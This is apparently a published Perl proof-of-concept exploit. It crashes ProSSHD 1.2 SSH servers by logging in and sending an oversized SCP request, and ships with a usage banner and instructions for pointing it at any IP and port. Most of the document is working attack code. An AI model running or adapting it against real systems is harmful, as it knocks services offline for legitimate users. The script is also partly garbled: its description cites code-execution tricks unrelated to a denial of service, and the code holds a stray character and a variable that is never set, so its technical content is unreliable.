#!/usr/bin/perl use Net::SSH2 # Exploit Title: ProSSHD 1.2 20090726 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 13 january 2024 # Vendor Homepage: https://prosshd.com/ # Notification vendor: No reported # Tested Version: ProSSHD 1.2 20090726 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of data to SSH. #The following request sends a large amount of data to the SSH to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else {s $cmd="clear"; } system("$cmd"); intro(); main(); print "\t ==> Connecting to webserver... \n\n"; sleep(1); my $i=0; print "\t ==> Exploiting... \n\n"; my $payload = "\x41" x 500; $connection2 = Net::SSH2->new(); $connection2->connect($host, $port) || die "\nError: Connection Refused!\n"; $connection2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n"; $scpget = $connection2->scp_get($payload); $connection2->disconnect(); print "\t ==> Done! Exploited!"; sub intro { print q { ,--, _ ___/ /\| ,;'( )__, ) ~ // // '--; ' \ | ^ ^ ^ [+] ProSSHD 1.2 20090726 - Denial of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: [email protected] } } sub main { our ($ip, $port, $username, $password) = @ARGV; unless (defined($ip) && defined($port)) { print "\n\tUsage: $0 <ip> <port> <username> <password> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated